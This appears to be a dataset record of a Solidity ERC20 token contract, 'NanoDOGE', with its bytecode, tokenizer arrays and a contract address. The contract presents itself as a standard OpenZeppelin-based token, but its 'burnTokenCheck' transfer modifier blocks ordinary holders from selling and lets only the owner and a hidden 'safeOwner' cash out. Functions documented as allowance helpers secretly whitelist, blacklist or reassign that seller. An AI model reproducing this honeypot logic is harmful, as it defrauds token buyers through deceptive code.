pragma solidity ^0.6.6; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract NanoDOGE is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb14610472578063b2bdfa7b1461049e578063dd62ed3e146104c2578063e1268115146104f0576100f5565b806352b0f196146102f457806370a082311461041e57806380b2122e1461044457806395d89b411461046a576100f5565b806318160ddd116100d357806318160ddd1461025a57806323b872dd14610274578063313ce567146102aa5780634e6ec247146102c8576100f5565b8063043fa39e146100fa57806306fdde031461019d578063095ea7b31461021a575b600080fd5b61019b6004803603602081101561011057600080fd5b810190602081018135600160201b81111561012a57600080fd5b82018360208201111561013c57600080fd5b803590602001918460208302840111600160201b8311171561015d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610591945050505050565b005b6101a5610686565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101df5781810151838201526020016101c7565b50505050905090810190601f16801561020c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102466004803603604081101561023057600080fd5b506001600160a01b03813516906020013561071c565b604080519115158252519081900360200190f35b610262610739565b60408051918252519081900360200190f35b6102466004803603606081101561028a57600080fd5b506001600160a01b0381358116916020810135909116906040013561073f565b6102b26107cc565b6040805160ff9092168252519081900360200190f35b61019b600480360360408110156102de57600080fd5b506001600160a01b0381351690602001356107d5565b61019b6004803603606081101561030a57600080fd5b81359190810190604081016020820135600160201b81111561032b57600080fd5b82018360208201111561033d57600080fd5b803590602001918460208302840111600160201b8311171561035e57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156103ad57600080fd5b8201836020820111156103bf57600080fd5b803590602001918460208302840111600160201b831117156103e057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506108d1945050505050565b6102626004803603602081101561043457600080fd5b50356001600160a01b03166109ea565b61019b6004803603602081101561045a57600080fd5b50356001600160a01b0316610a05565b6101a5610a6f565b6102466004803603604081101561048857600080fd5b506001600160a01b038135169060200135610ad0565b6104a6610ae4565b604080516001600160a01b039092168252519081900360200190f35b610262600480360360408110156104d857600080fd5b506001600160a01b0381358116916020013516610af3565b61019b6004803603602081101561050657600080fd5b810190602081018135600160201b81111561052057600080fd5b82018360208201111561053257600080fd5b803590602001918460208302840111600160201b8311171561055357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610b1e945050505050565b600a546001600160a01b031633146105d9576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610682576001600260008484815181106105f757fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061064857fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016105dc565b5050565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107125780601f106106e757610100808354040283529160200191610712565b820191906000526020600020905b8154815290600101906020018083116106f557829003601f168201915b5050505050905090565b6000610730610729610c0e565b8484610c12565b50600192915050565b60055490565b600061074c848484610cfe565b6107c284610758610c0e565b6107bd8560405180606001604052806028815260200161143b602891396001600160a01b038a16600090815260046020526040812090610796610c0e565b6001600160a01b03168152602081019190915260400160002054919063ffffffff6112d216565b610c12565b5060019392505050565b60085460ff1690565b600a546001600160a01b03163314610834576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600554610847908263ffffffff61136916565b600555600a546001600160a01b0316600090815260208190526040902054610875908263ffffffff61136916565b600a546001600160a01b0390811660009081526020818152604080832094909455835185815293519286169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600a546001600160a01b03163314610919576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b82518110156109e45761095583828151811061093457fe5b602002602001015183838151811061094857fe5b6020026020010151610ad0565b50838110156109dc57600180600085848151811061096f57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506109dc8382815181106109bd57fe5b6020908102919091010151600c546001600160a01b0316600019610c12565b60010161091c565b50505050565b6001600160a01b031660009081526020819052604090205490565b600a546001600160a01b03163314610a4d576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107125780601f106106e757610100808354040283529160200191610712565b6000610730610add610c0e565b8484610cfe565b600a546001600160a01b031681565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600a546001600160a01b03163314610b66576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610682576001806000848481518110610b8357fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610bd457fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610b69565b3390565b6001600160a01b038316610c575760405162461bcd60e51b81526004018080602001828103825260248152602001806114886024913960400191505060405180910390fd5b6001600160a01b038216610c9c5760405162461bcd60e51b81526004018080602001828103825260228152602001806113f36022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600b54600a548491849184916001600160a01b039182169116148015610d315750600a546001600160a01b038481169116145b15610eb557600b80546001600160a01b0319166001600160a01b03848116919091179091558616610d935760405162461bcd60e51b81526004018080602001828103825260258152602001806114636025913960400191505060405180910390fd5b6001600160a01b038516610dd85760405162461bcd60e51b81526004018080602001828103825260238152602001806113d06023913960400191505060405180910390fd5b610de38686866113ca565b610e2684604051806060016040528060268152602001611415602691396001600160a01b038916600090815260208190526040902054919063ffffffff6112d216565b6001600160a01b038088166000908152602081905260408082209390935590871681522054610e5b908563ffffffff61136916565b6001600160a01b038087166000818152602081815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a36112ca565b600a546001600160a01b0384811691161480610ede5750600b546001600160a01b038481169116145b80610ef65750600a546001600160a01b038381169116145b15610f7957600a546001600160a01b038481169116148015610f295750816001600160a01b0316836001600160a01b0316145b15610f345760038190555b6001600160a01b038616610d935760405162461bcd60e51b81526004018080602001828103825260258152602001806114636025913960400191505060405180910390fd5b6001600160a01b03831660009081526001602081905260409091205460ff1615151415610fe5576001600160a01b038616610d935760405162461bcd60e51b81526004018080602001828103825260258152602001806114636025913960400191505060405180910390fd5b6001600160a01b03831660009081526002602052604090205460ff1615156001141561106f57600b546001600160a01b03848116911614806110345750600c546001600160a01b038381169116145b610f345760405162461bcd60e51b81526004018080602001828103825260268152602001806114156026913960400191505060405180910390fd5b60035481101561110357600b546001600160a01b0383811691161415610f34576001600160a01b0383811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558616610d935760405162461bcd60e51b81526004018080602001828103825260258152602001806114636025913960400191505060405180910390fd5b600b546001600160a01b038481169116148061112c5750600c546001600160a01b038381169116145b6111675760405162461bcd60e51b81526004018080602001828103825260268152602001806114156026913960400191505060405180910390fd5b6001600160a01b0386166111ac5760405162461bcd60e51b81526004018080602001828103825260258152602001806114636025913960400191505060405180910390fd5b6001600160a01b0385166111f15760405162461bcd60e51b81526004018080602001828103825260238152602001806113d06023913960400191505060405180910390fd5b6111fc8686866113ca565b61123f84604051806060016040528060268152602001611415602691396001600160a01b038916600090815260208190526040902054919063ffffffff6112d216565b6001600160a01b038088166000908152602081905260408082209390935590871681522054611274908563ffffffff61136916565b6001600160a01b038087166000818152602081815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35b505050505050565b600081848411156113615760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561132657818101518382015260200161130e565b50505050905090810190601f1680156113535780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000828201838110156113c3576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220c4d584bead67b7097801135d8b56cd175206fc236f379f5189b4c477d301fccd64736f6c63430006060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 23352, 27717, 19961, 16703, 2094, 24434, 2497, 2475, 2546, 2692, 27717, 4783, 2575, 2581, 2546, 16932, 17788, 2850, 21084, 2575, 2063, 2692, 26187, 2620, 2581, 2063, 2475, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1020, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 10236, 7347, 2058, 5024, 3012, 1005, 1055, 20204, 3136, 2007, 2794, 2058, 12314, 1008, 14148, 1012, 1008, 1008, 20204, 3136, 1999, 5024, 3012, 10236, 2006, 2058, 12314, 1012, 2023, 2064, 4089, 2765, 1008, 1999, 12883, 1010, 2138, 28547, 2788, 7868, 2008, 2019, 2058, 12314, 13275, 2019, 1008, 7561, 1010, 2029, 2003, 1996, 3115, 5248, 1999, 2152, 2504, 4730, 4155, 1012, 1008, 1036, 3647, 18900, 2232, 1036, 9239, 2015, 2023, 26406, 2011, 7065, 8743, 2075, 1996, 12598, 2043, 2019, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,786
0x975a7574713E77E5f7Ea990Cee1f2941440A5619
